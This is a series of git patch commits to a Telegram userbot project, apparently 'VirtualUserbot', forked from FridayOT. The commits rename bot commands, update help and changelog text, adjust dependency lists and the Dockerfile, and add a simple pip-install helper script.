@bot.on(sudo_cmd(pattern="bs$", allow_sudo=True)) async def gn(event): @@ -248,22 +251,24 @@ async def gn(event): "** Good Night 🌙 Bs ☸️ Jp ✝️Tc 😘Byee...👋👋👋👋 **", ) + @bot.on(admin_cmd(pattern="aks$")) @bot.on(sudo_cmd(pattern="aks$", allow_sudo=True)) async def gn(event): await edit_or_reply( event, - "** අනියම් කාම සේවනය තරයේ හෙලා දකිමි 🙈 **", + "** අනියම් කාම සේවනය තරයේ හෙලා දකිමි 🙈 **", ) + @bot.on(admin_cmd(pattern="ja$")) @bot.on(sudo_cmd(pattern="ja$", allow_sudo=True)) async def gn(event): await edit_or_reply( event, - "** ජීවිතය අනියතය..☹️ මරණය නියතය 🙏 මහනවීම සැපය 🙏**", - ) - + "** ජීවිතය අනියතය..☹️ මරණය නියතය 🙏 මහනවීම සැපය 🙏**", + ) + @bot.on(admin_cmd(pattern=f"srun$", outgoing=True)) @bot.on(sudo_cmd(pattern="snun$", allow_sudo=True)) From 147e276e3d4ad63d8d9a1ff37e82063961c17550 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 16 Jan 2021 17:54:42 +0530 Subject: [PATCH 581/838] Update quotly.py --- fridaybot/modules/quotly.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/quotly.py b/fridaybot/modules/quotly.py index 0dce4370..31640de7 100644 --- a/fridaybot/modules/quotly.py +++ b/fridaybot/modules/quotly.py @@ -8,7 +8,7 @@ # @register(outgoing=True, pattern="^.q(?: |$)(.*)") -@friday.on(friday_on_cmd(pattern=r"qbot(?: |$)(.*)")) +@friday.on(friday_on_cmd(pattern=r"qobot(?: |$)(.*)")) async def _(event): if event.fwd_from: return From 8e7f956d34c68d7ee9965a17ebe3b56461cde3a2 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 16 Jan 2021 17:55:14 +0530 Subject: [PATCH 582/838] Update qbot.py --- fridaybot/modules/qbot.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/qbot.py b/fridaybot/modules/qbot.py index 363dfcd6..d53e1152 100644 --- a/fridaybot/modules/qbot.py +++ b/fridaybot/modules/qbot.py @@ -8,7 +8,7 @@ from ..utils import admin_cmd -@borg.on(admin_cmd(pattern=r"qubot(?: |$)(.*)")) +@borg.on(admin_cmd(pattern=r"qbot(?: |$)(.*)")) async def _(event): if event.fwd_from: return From 42e3b0f8362803d95dd6cfb2fd507f8617c2fc9f Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 16 Jan 2021 17:58:37 +0530 Subject: [PATCH 583/838] Update imagefun2.py --- fridaybot/modules/imagefun2.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/imagefun2.py b/fridaybot/modules/imagefun2.py index a1fc240d..83dde804 100644 --- a/fridaybot/modules/imagefun2.py +++ b/fridaybot/modules/imagefun2.py @@ -196,7 +196,7 @@ async def hehe(event): # kang with credits -@bot.on(admin_cmd(pattern=r"ytc")) +@bot.on(admin_cmd(pattern=r"yttc")) async def hehe(event): if not event.reply_to_msg_id: await event.reply("Reply to any Image.") @@ -212,7 +212,7 @@ async def hehe(event): global username, comment username, comment = text.split(".") except: - await event.edit("`.ytc username.comment reply to image`") + await event.edit("`.yttc username.comment reply to image`") await event.edit("`Processing...`") url_s = upload_file("danish.png") imglink = f"https://telegra.ph{url_s[0]}" From 233fbe0831709e808feab3b57270d7916953add3 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 16 Jan 2021 18:12:44 +0530 Subject: [PATCH 584/838] hmm --- fridaybot/modules/fridaybot.py | 19 +++++++++++++++---- 1 file changed, 15 insertions(+), 4 deletions(-) diff --git a/fridaybot/modules/fridaybot.py b/fridaybot/modules/fridaybot.py index 723b0b67..e681f3dd 100644 --- a/fridaybot/modules/fridaybot.py +++ b/fridaybot/modules/fridaybot.py @@ -20,8 +20,8 @@ async def _(event): # if input_str == "Read This Telegraph Whole info here": await event.edit("Thanks") animation_chars = [ - "Click here to Go to Telegraph", - "[Click Here For Guide](https://telegra.ph/FRIDAY-06-15)", + "Click here to Go to our Official Website", + "[Click Here For Guide](https://techwizardent.com/blog/twe_blog_userbot.php)", ] for i in animation_ttl: @@ -33,7 +33,18 @@ async def _(event): CMD_HELP.update( { "VirtualUserbot": "**VirtualUserbot**\ -\n\n**Syntax : **`.virtualuserbot`\ -\n**Usage :** Gives you Friday guide (VirtualUserbot is a developed version of Friday Project)." +\n\n** Congragulations **\ +\n ` You have Successfully installed the VirtualUserbot`\ +\n\n Now you can find all new features in Whats New\ +\n\n In this Help menu You can find all the available commands with .help\ +\n `If you need more plugins contact @InukaASiTH`\ +\n Updates Channel: @Infinity_Bots\ +\n Bot Support: @InfinityJE\ +\n Developed By: @InukaASiTH for @Infinity_Bots\ +\n Supporters: @Kaveesha_Induwara ,@Zzlll_lllzZ , @ImJanindu, @dasun_pamod \ +\n\n ❤️ Project Cloned and Developed based on @FridayOT Project ❤️\ +\n `Full Respect to Friday Devs`\ +\n\n\n**Try : **`.virtualuserbot`\ +\n**For :** full VirtualUserbot's guide." } ) From 9a779c4e144dd0f26a1639379eae51e0368e9374 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 16 Jan 2021 18:13:52 +0530 Subject: [PATCH 585/838] Create WhatsNew.py --- fridaybot/modules/WhatsNew.py | 11 +++++++++++ 1 file changed, 11 insertions(+) create mode 100644 fridaybot/modules/WhatsNew.py diff --git a/fridaybot/modules/WhatsNew.py b/fridaybot/modules/WhatsNew.py new file mode 100644 index 00000000..9fe33bb3 --- /dev/null +++ b/fridaybot/modules/WhatsNew.py @@ -0,0 +1,11 @@ +from fridaybot import CMD_HELP + +CMD_HELP.update( + { + "Language": "**Language :** Change the Bot's Language\ + \n\n📌** CMD ★** `.set var lang en`\ + \n**USAGE ★ **Change the Bot's Language to English (Standard)\ + \n\n📌** CMD ★** `.set var lang si`\ + \n**USAGE ★ **Change the Bot's Language to Sinhala (Sinhalese)" + } +) From 9c38c1ab02472132e543b5f682277d051e7eb1a1 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 16 Jan 2021 18:23:57 +0530 Subject: [PATCH 586/838] Update WhatsNew.py --- fridaybot/modules/WhatsNew.py | 35 ++++++++++++++++++++++++++++++----- 1 file changed, 30 insertions(+), 5 deletions(-) diff --git a/fridaybot/modules/WhatsNew.py b/fridaybot/modules/WhatsNew.py index 9fe33bb3..3dc2ee4d 100644 --- a/fridaybot/modules/WhatsNew.py +++ b/fridaybot/modules/WhatsNew.py @@ -2,10 +2,35 @@ CMD_HELP.update( { - "Language": "**Language :** Change the Bot's Language\ - \n\n📌** CMD ★** `.set var lang en`\ - \n**USAGE ★ **Change the Bot's Language to English (Standard)\ - \n\n📌** CMD ★** `.set var lang si`\ - \n**USAGE ★ **Change the Bot's Language to Sinhala (Sinhalese)" + "Whats New": """**Update 3.0 :** Change the Bot's Language + Brings You the Most Stable Reliese ever. + + ** Pro Mode ** + You'll see some plugins labled as PRO from now on + For your protection we limited some adult plugins only to pro's + `.set var pro True` => To Be a Pro (It is Free.. Not resposible for Bans) + + ** Custom Emoji on Help ** + `.set var EMOJI_TO_DISPLAY_IN_HELP + + ** New features as Exclusive Module ** + See yourself on help as `exclusive` + + ** Stickers Improovements ** + Kang any Media + + ** Config Funs ** + See by yourself in Sinhala_Jokes + + ** New qbot ** + `.qbot` to create quotes + + ** 7z Archiver ** + see by Yourself in archiver + + ** Plus More ** + New `.mspam` mode (PRO), More ImageTools , Less Spammy now + ** Many Bug Fixes ** +""" } ) From c5a92a281146c90df0d62f588ab5300e833dc750 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 16 Jan 2021 18:24:53 +0530 Subject: [PATCH 587/838] hmmmmmmm --- fridaybot/modules/WhatsNew.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/WhatsNew.py b/fridaybot/modules/WhatsNew.py index 3dc2ee4d..62f0923e 100644 --- a/fridaybot/modules/WhatsNew.py +++ b/fridaybot/modules/WhatsNew.py @@ -2,7 +2,7 @@ CMD_HELP.update( { - "Whats New": """**Update 3.0 :** Change the Bot's Language + "Whats New": """**Update 3.0 :** VirtualUserbot New features Brings You the Most Stable Reliese ever. ** Pro Mode ** From a8fc533c5da1e62c89ab24f6a9873be0474fcd07 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 16 Jan 2021 18:31:03 +0530 Subject: [PATCH 588/838] Update WhatsNew.py --- fridaybot/modules/WhatsNew.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/WhatsNew.py b/fridaybot/modules/WhatsNew.py index 62f0923e..3f53f8bf 100644 --- a/fridaybot/modules/WhatsNew.py +++ b/fridaybot/modules/WhatsNew.py @@ -11,7 +11,7 @@ `.set var pro True` => To Be a Pro (It is Free.. Not resposible for Bans) ** Custom Emoji on Help ** - `.set var EMOJI_TO_DISPLAY_IN_HELP + `.set var EMOJI_TO_DISPLAY_IN_HELP ` ** New features as Exclusive Module ** See yourself on help as `exclusive` From c9a97828e585a62828b44c58ba6c44d9f03e031c Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 16 Jan 2021 18:45:09 +0530 Subject: [PATCH 589/838] Update alive.py --- fridaybot/modules/alive.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/alive.py b/fridaybot/modules/alive.py index db12135c..a5b03161 100644 --- a/fridaybot/modules/alive.py +++ b/fridaybot/modules/alive.py @@ -46,7 +46,7 @@ def get_readable_time(seconds: int) -> str: pm_caption += "➣ **Telethon** `₁.₁₅.₀ ` \n" pm_caption += "➣ **Python** `₃.₇.₄ ` \n" pm_caption += f"➣ **Uptime** `{uptime}` \n" -pm_caption += "➣ **Realised By** @Infinity_Bots\n" +pm_caption += "➣ **Realised By** @Infinity_Bots\n" pm_caption += "➣ **Branch** `master`\n" pm_caption += f"➣ **Version** `{currentversion}`\n" pm_caption += f"➣ **My Boss** {DEFAULTUSER} \n" From e6660c4c7bb6c1738864664162c0e015fb512467 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 16 Jan 2021 18:52:16 +0530 Subject: [PATCH 590/838] Update quotly.py --- fridaybot/modules/quotly.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/quotly.py b/fridaybot/modules/quotly.py index 31640de7..0dce4370 100644 --- a/fridaybot/modules/quotly.py +++ b/fridaybot/modules/quotly.py @@ -8,7 +8,7 @@ # @register(outgoing=True, pattern="^.q(?: |$)(.*)") -@friday.on(friday_on_cmd(pattern=r"qobot(?: |$)(.*)")) +@friday.on(friday_on_cmd(pattern=r"qbot(?: |$)(.*)")) async def _(event): if event.fwd_from: return From fac0f2031f239cf37b9afae05fc0e8a948212f74 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 16 Jan 2021 18:52:56 +0530 Subject: [PATCH 591/838] Update qbot.py --- fridaybot/modules/qbot.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/qbot.py b/fridaybot/modules/qbot.py index d53e1152..363dfcd6 100644 --- a/fridaybot/modules/qbot.py +++ b/fridaybot/modules/qbot.py @@ -8,7 +8,7 @@ from ..utils import admin_cmd -@borg.on(admin_cmd(pattern=r"qbot(?: |$)(.*)")) +@borg.on(admin_cmd(pattern=r"qubot(?: |$)(.*)")) async def _(event): if event.fwd_from: return From 7d2bb8ad7e37ddb257e90fa1d00b1b9426892b1a Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 16 Jan 2021 19:06:42 +0530 Subject: [PATCH 592/838] Update qbot.py --- fridaybot/modules/qbot.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/fridaybot/modules/qbot.py b/fridaybot/modules/qbot.py index 363dfcd6..11afa0c0 100644 --- a/fridaybot/modules/qbot.py +++ b/fridaybot/modules/qbot.py @@ -5,7 +5,7 @@ from fridaybot import bot -from ..utils import admin_cmd +from ..utils import admin_cmd, edit_or_reply @borg.on(admin_cmd(pattern=r"qubot(?: |$)(.*)")) @@ -13,16 +13,16 @@ async def _(event): if event.fwd_from: return if not event.reply_to_msg_id: - await event.edit("```Reply to any user message.```") + await event.edit_or_reply("```Reply to any user message.```") return reply_message = await event.get_reply_message() chat = "@QuotLyBot" reply_message.sender if reply_message.sender.bot: - await event.edit("```Reply to actual users message.```") + await event.edit_or_reply("```Reply to actual users message.```") return - await event.edit("```Making a Quote```") + await event.edit_or_reply("```Making a Quote```") async with bot.conversation(chat) as conv: try: response = conv.wait_event( @@ -34,7 +34,7 @@ async def _(event): await event.reply("```Please unblock @QuotLyBot and try again```") return if response.text.startswith("Hi!"): - await event.edit( + await event.edit_or_reply( "```Can you kindly disable your forward privacy settings for good?```" ) else: From c2fdf245bf5fb39e8a08a45150de4233ae960fa8 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Sat, 16 Jan 2021 13:37:30 +0000 Subject: [PATCH 593/838] pylint: auto fixes --- fridaybot/modules/qbot.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/qbot.py b/fridaybot/modules/qbot.py index 11afa0c0..4116cbf8 100644 --- a/fridaybot/modules/qbot.py +++ b/fridaybot/modules/qbot.py @@ -5,7 +5,7 @@ from fridaybot import bot -from ..utils import admin_cmd, edit_or_reply +from ..utils import admin_cmd @borg.on(admin_cmd(pattern=r"qubot(?: |$)(.*)")) From 6e86ffbaae85f80c39b2efb7da23527fad7665e4 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 16 Jan 2021 19:12:11 +0530 Subject: [PATCH 594/838] Update qbot.py --- fridaybot/modules/qbot.py | 55 ++++++++++++++++++--------------------- 1 file changed, 25 insertions(+), 30 deletions(-) diff --git a/fridaybot/modules/qbot.py b/fridaybot/modules/qbot.py index 4116cbf8..c28398ec 100644 --- a/fridaybot/modules/qbot.py +++ b/fridaybot/modules/qbot.py @@ -1,42 +1,37 @@ -# port to DARK COBRA by @hellboi-atul +#port to DARK COBRA by @hellboi-atul +import datetime from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError - -from fridaybot import bot - +from telethon.tl.functions.account import UpdateNotifySettingsRequest +from fridaybot import bot, CMD_HELP from ..utils import admin_cmd - @borg.on(admin_cmd(pattern=r"qubot(?: |$)(.*)")) async def _(event): if event.fwd_from: - return + return if not event.reply_to_msg_id: - await event.edit_or_reply("```Reply to any user message.```") - return - reply_message = await event.get_reply_message() - + await event.edit("```Reply to any user message.```") + return + reply_message = await event.get_reply_message() + chat = "@QuotLyBot" - reply_message.sender + sender = reply_message.sender if reply_message.sender.bot: - await event.edit_or_reply("```Reply to actual users message.```") - return - await event.edit_or_reply("```Making a Quote```") + await event.edit("```Reply to actual users message.```") + return + await event.edit("```Making a Quote```") async with bot.conversation(chat) as conv: - try: - response = conv.wait_event( - events.NewMessage(incoming=True, from_users=1031952739) - ) - await bot.forward_messages(chat, reply_message) - response = await response - except YouBlockedUserError: - await event.reply("```Please unblock @QuotLyBot and try again```") - return - if response.text.startswith("Hi!"): - await event.edit_or_reply( - "```Can you kindly disable your forward privacy settings for good?```" - ) - else: - await event.delete() - await bot.forward_messages(event.chat_id, response.message) + try: + response = conv.wait_event(events.NewMessage(incoming=True,from_users=1031952739)) + await bot.forward_messages(chat, reply_message) + response = await response + except YouBlockedUserError: + await event.reply("```Please unblock @QuotLyBot and try again```") + return + if response.text.startswith("Hi!"): + await event.edit("```Can you kindly disable your forward privacy settings for good?```") + else: + await event.delete() + await bot.forward_messages(event.chat_id, response.message) From bcadd1ffd5430960292b400f34c9b468ca2bb047 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Sat, 16 Jan 2021 13:42:57 +0000 Subject: [PATCH 595/838] pylint: auto fixes --- fridaybot/modules/qbot.py | 53 +++++++++++++++++++++------------------ 1 file changed, 29 insertions(+), 24 deletions(-) diff --git a/fridaybot/modules/qbot.py b/fridaybot/modules/qbot.py index c28398ec..363dfcd6 100644 --- a/fridaybot/modules/qbot.py +++ b/fridaybot/modules/qbot.py @@ -1,37 +1,42 @@ -#port to DARK COBRA by @hellboi-atul +# port to DARK COBRA by @hellboi-atul -import datetime from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError -from telethon.tl.functions.account import UpdateNotifySettingsRequest -from fridaybot import bot, CMD_HELP + +from fridaybot import bot + from ..utils import admin_cmd + @borg.on(admin_cmd(pattern=r"qubot(?: |$)(.*)")) async def _(event): if event.fwd_from: - return + return if not event.reply_to_msg_id: - await event.edit("```Reply to any user message.```") - return - reply_message = await event.get_reply_message() - + await event.edit("```Reply to any user message.```") + return + reply_message = await event.get_reply_message() + chat = "@QuotLyBot" - sender = reply_message.sender + reply_message.sender if reply_message.sender.bot: - await event.edit("```Reply to actual users message.```") - return + await event.edit("```Reply to actual users message.```") + return await event.edit("```Making a Quote```") async with bot.conversation(chat) as conv: - try: - response = conv.wait_event(events.NewMessage(incoming=True,from_users=1031952739)) - await bot.forward_messages(chat, reply_message) - response = await response - except YouBlockedUserError: - await event.reply("```Please unblock @QuotLyBot and try again```") - return - if response.text.startswith("Hi!"): - await event.edit("```Can you kindly disable your forward privacy settings for good?```") - else: - await event.delete() - await bot.forward_messages(event.chat_id, response.message) + try: + response = conv.wait_event( + events.NewMessage(incoming=True, from_users=1031952739) + ) + await bot.forward_messages(chat, reply_message) + response = await response + except YouBlockedUserError: + await event.reply("```Please unblock @QuotLyBot and try again```") + return + if response.text.startswith("Hi!"): + await event.edit( + "```Can you kindly disable your forward privacy settings for good?```" + ) + else: + await event.delete() + await bot.forward_messages(event.chat_id, response.message) From 59c7e177c7b5450a46f9afab20abded6f41fc08d Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 16 Jan 2021 19:13:22 +0530 Subject: [PATCH 596/838] Update quotly.py --- fridaybot/modules/quotly.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/fridaybot/modules/quotly.py b/fridaybot/modules/quotly.py index 0dce4370..015fe5b9 100644 --- a/fridaybot/modules/quotly.py +++ b/fridaybot/modules/quotly.py @@ -3,7 +3,7 @@ from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError -from fridaybot import CMD_HELP, bot +from fridaybot import bot, CMD_HELP from fridaybot.utils import friday_on_cmd @@ -41,6 +41,7 @@ async def _(event): await bot.forward_messages(event.chat_id, response.message) + CMD_HELP.update( { "quotly": "**Quotly**\ From fd1b2716464ea36971a955967b1ab0ddd209dd7c Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Sat, 16 Jan 2021 13:44:04 +0000 Subject: [PATCH 597/838] pylint: auto fixes --- fridaybot/modules/quotly.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/fridaybot/modules/quotly.py b/fridaybot/modules/quotly.py index 015fe5b9..0dce4370 100644 --- a/fridaybot/modules/quotly.py +++ b/fridaybot/modules/quotly.py @@ -3,7 +3,7 @@ from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError -from fridaybot import bot, CMD_HELP +from fridaybot import CMD_HELP, bot from fridaybot.utils import friday_on_cmd @@ -41,7 +41,6 @@ async def _(event): await bot.forward_messages(event.chat_id, response.message) - CMD_HELP.update( { "quotly": "**Quotly**\ From 200a2d29425a3838f533c8964b6d22eca004fc4e Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 17 Jan 2021 09:45:49 +0530 Subject: [PATCH 598/838] Update requirements.txt --- requirements.txt | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/requirements.txt b/requirements.txt index fc7703bb..5f463298 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,5 +1,5 @@ Pillow -git+https://github.com/cher-nov/cryptg +cryptg nospamplus pymediainfo quote @@ -69,7 +69,7 @@ cryptocompare cryptosteganography faker apscheduler -git+https://github.com/gleitz/howdoi +cryptg pokedex.py PyProxyToolkit cairosvg From 0d2cf595a51a88a3e85d6d07b3a0827aefb73d63 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 17 Jan 2021 09:46:44 +0530 Subject: [PATCH 599/838] Update Dockerfile --- Dockerfile | 2 -- 1 file changed, 2 deletions(-) diff --git a/Dockerfile b/Dockerfile index 0434703e..bc7e0d21 100644 --- a/Dockerfile +++ b/Dockerfile @@ -8,8 +8,6 @@ RUN apt-get install -y\ coreutils \ bash \ bzip2 \ - mpv \ - pavucontrol \ curl \ tesseract-ocr \ tesseract-ocr-eng \ From 29612c3baa3427de8eb2a6962afbe67bcada0f37 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 17 Jan 2021 10:39:14 +0530 Subject: [PATCH 600/838] Update requirements.txt --- requirements.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements.txt b/requirements.txt index 5f463298..f7e38eea 100644 --- a/requirements.txt +++ b/requirements.txt @@ -83,7 +83,7 @@ anime_downloader pandas pydub validators -googletrans==3.1.0a0 +googletrans spamwatch nekos.py deep_translator From 59ff48d1838afbda6e616ef012fd7bb2782eacf4 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 17 Jan 2021 19:07:15 +0530 Subject: [PATCH 601/838] Update requirements.txt --- requirements.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements.txt b/requirements.txt index f7e38eea..7b78500a 100644 --- a/requirements.txt +++ b/requirements.txt @@ -59,7 +59,7 @@ tswift urbandict>=0.5 wikipedia>=1.4.0 youtube-search -youtube-search-python +youtube-search-python==1.3.5 covid scapy scipy From 1cef740d7f2b300ff4845ffdab2bb48c4b8ff3bd Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 17 Jan 2021 19:07:41 +0530 Subject: [PATCH 602/838] Update fakegen.py --- fridaybot/modules/fakegen.py | 82 ++++++++++++++++++------------------ 1 file changed, 41 insertions(+), 41 deletions(-) diff --git a/fridaybot/modules/fakegen.py b/fridaybot/modules/fakegen.py index 0e825673..c7d319e8 100644 --- a/fridaybot/modules/fakegen.py +++ b/fridaybot/modules/fakegen.py @@ -1,49 +1,49 @@ -# Copyright (C) @chsaiujwal 2020 -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU Affero General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU Affero General Public License for more details. -# -# You should have received a copy of the GNU Affero General Public License -# along with this program. If not, see . +# Copyright (C) @chsaiujwal 2020 +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . -from faker import Faker -from faker.providers import internet -from uniborg.util import friday_on_cmd +from faker import Faker +from faker.providers import internet +from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from fridaybot import CMD_HELP -@friday.on(friday_on_cmd(pattern=r"fakegen")) -async def hi(event): - if event.fwd_from: - return - fake = Faker() - print("FAKE DETAILS GENERATED\n") - name = str(fake.name()) - fake.add_provider(internet) - address = str(fake.address()) - ip = fake.ipv4_private() - cc = fake.credit_card_full() - email = fake.ascii_free_email() - job = fake.job() - android = fake.android_platform_token() - pc = fake.chrome() - await event.edit( - f" Fake Information Generated\nName :-{name}\n\nAddress:-{address}\n\nIP ADDRESS:-{ip}\n\ncredit card:-{cc}\n\nEmail Id:-{email}\n\nJob:-{job}\n\nandroid user agent:-{android}\n\nPc user agent:-{pc}", - parse_mode="HTML", - ) +@friday.on(friday_on_cmd(pattern=r"fakegen")) +async def hi(event): + if event.fwd_from: + return + fake = Faker() + print("FAKE DETAILS GENERATED\n") + name = str(fake.name()) + fake.add_provider(internet) + address = str(fake.address()) + ip = fake.ipv4_private() + cc = fake.credit_card_full() + email = fake.ascii_free_email() + job = fake.job() + android = fake.android_platform_token() + pc = fake.chrome() + await event.edit( + f" Fake Information Generated\nName :-{name}\n\nAddress:-{address}\n\nIP ADDRESS:-{ip}\n\ncredit card:-{cc}\n\nEmail Id:-{email}\n\nJob:-{job}\n\nandroid user agent:-{android}\n\nPc user agent:-{pc}", + parse_mode="HTML", + ) -CMD_HELP.update( - { - "fakegen": "**Fake information Generator**\ -\n\n**Syntax : **`.fakegen`\ -\n**Usage :** Automatically generates fake information." - } +CMD_HELP.update( + { + "fakegen": "**Fake information Generator**\ +\n\n**Syntax : **`.fakegen`\ +\n**Usage :** Automatically generates fake information." + } ) From 8f5e09fc36abea3d037d62cd4e16121b3ac9d058 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 17 Jan 2021 19:12:39 +0530 Subject: [PATCH 603/838] Create req.py --- req.py | 1 + 1 file changed, 1 insertion(+) create mode 100644 req.py diff --git a/req.py b/req.py new file mode 100644 index 00000000..21b405d8 --- /dev/null +++ b/req.py @@ -0,0 +1 @@ +import os From c30831742a00c5a7cbbde275631bcb0d48b0e3da Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 17 Jan 2021 19:18:13 +0530 Subject: [PATCH 604/838] Update req.py --- req.py | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) diff --git a/req.py b/req.py index 21b405d8..8b08455f 100644 --- a/req.py +++ b/req.py @@ -1 +1,29 @@ import os +os.system("pip install Pillow") +os.system("pip install cryptg") +os.system("pip install nospamplus") +os.system("pip install pymediainfo") +os.system("pip install python-magic") +os.system("pip install pyseoanalyzer") +os.system("pip install glitch_this") +os.system("pip install PyGithub") +os.system("pip install pytesseract") +os.system("pip install youtube-dl") +os.system("pip install opencv-contrib-python") +os.system("pip install telethon>=1.17") +# In anonther Day +os.system("pip install cryptg") +os.system("pip install cryptg") +os.system("pip install cryptg") +os.system("pip install cryptg") +os.system("pip install cryptg") +os.system("pip install cryptg") +os.system("pip install cryptg") +os.system("pip install cryptg") +os.system("pip install cryptg") +os.system("pip install cryptg") +os.system("pip install cryptg") +os.system("pip install cryptg") +os.system("pip install cryptg") +os.system("pip install cryptg") + From 41f66c7d4728c2f17c911b06af2099b383c5e8dc Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 17 Jan 2021 19:22:10 +0530 Subject: [PATCH 605/838] Update requirements.txt --- requirements.txt | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/requirements.txt b/requirements.txt index 7b78500a..6d5f44a4 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,5 +1,5 @@ Pillow -cryptg + nospamplus pymediainfo quote @@ -19,7 +19,6 @@ aiohttp bs4 coffeehouse cowpy -cryptg emoji gTTS-token>=1.1.3 gTTS>=2.0.1 @@ -78,12 +77,13 @@ QScintilla cfscrape requests_html flask +cryptg +googletrans yahoo_fin anime_downloader pandas pydub validators -googletrans spamwatch nekos.py deep_translator From 1cbe1d680181138706e86ecae1637e9ba7a33ab9 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 17 Jan 2021 19:24:28 +0530 Subject: [PATCH 606/838] Rename req.py to req --- req.py => req | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename req.py => req (100%) diff --git a/req.py b/req similarity index 100% rename from req.py rename to req From 26ebdc8772b7df838d3e5cba12ecf026bd4c2018 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 17 Jan 2021 19:25:10 +0530 Subject: [PATCH 607/838] Create AN INFINITY_BOTS PROJECT --- AN INFINITY_BOTS PROJECT | 1 + 1 file changed, 1 insertion(+) create mode 100644 AN INFINITY_BOTS PROJECT diff --git a/AN INFINITY_BOTS PROJECT b/AN INFINITY_BOTS PROJECT new file mode 100644 index 00000000..8b137891 --- /dev/null +++ b/AN INFINITY_BOTS PROJECT @@ -0,0 +1 @@ + From 03eca01f93c3e57157fe3f3f7e19655d4cd48729 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 17 Jan 2021 19:55:46 +0530 Subject: [PATCH 608/838] Update requirements.txt --- requirements.txt | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/requirements.txt b/requirements.txt index 6d5f44a4..5dc689fa 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,5 +1,4 @@ Pillow - nospamplus pymediainfo quote @@ -58,7 +57,6 @@ tswift urbandict>=0.5 wikipedia>=1.4.0 youtube-search -youtube-search-python==1.3.5 covid scapy scipy @@ -78,7 +76,6 @@ cfscrape requests_html flask cryptg -googletrans yahoo_fin anime_downloader pandas @@ -95,3 +92,4 @@ fontTools PyDictionary beautifulsoup4 bs4 +googletrans From 1c6cc88ab2303a611ab28416d4d46604911cdd04 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 17 Jan 2021 20:13:38 +0530 Subject: [PATCH 609/838] Boom! --- requirements.txt | 1 - 1 file changed, 1 deletion(-) diff --git a/requirements.txt b/requirements.txt index 5dc689fa..e8f1a077 100644 --- a/requirements.txt +++ b/requirements.txt @@ -83,7 +83,6 @@ pydub validators spamwatch nekos.py -deep_translator pornhub-api countryinfo emoji-country-flag From 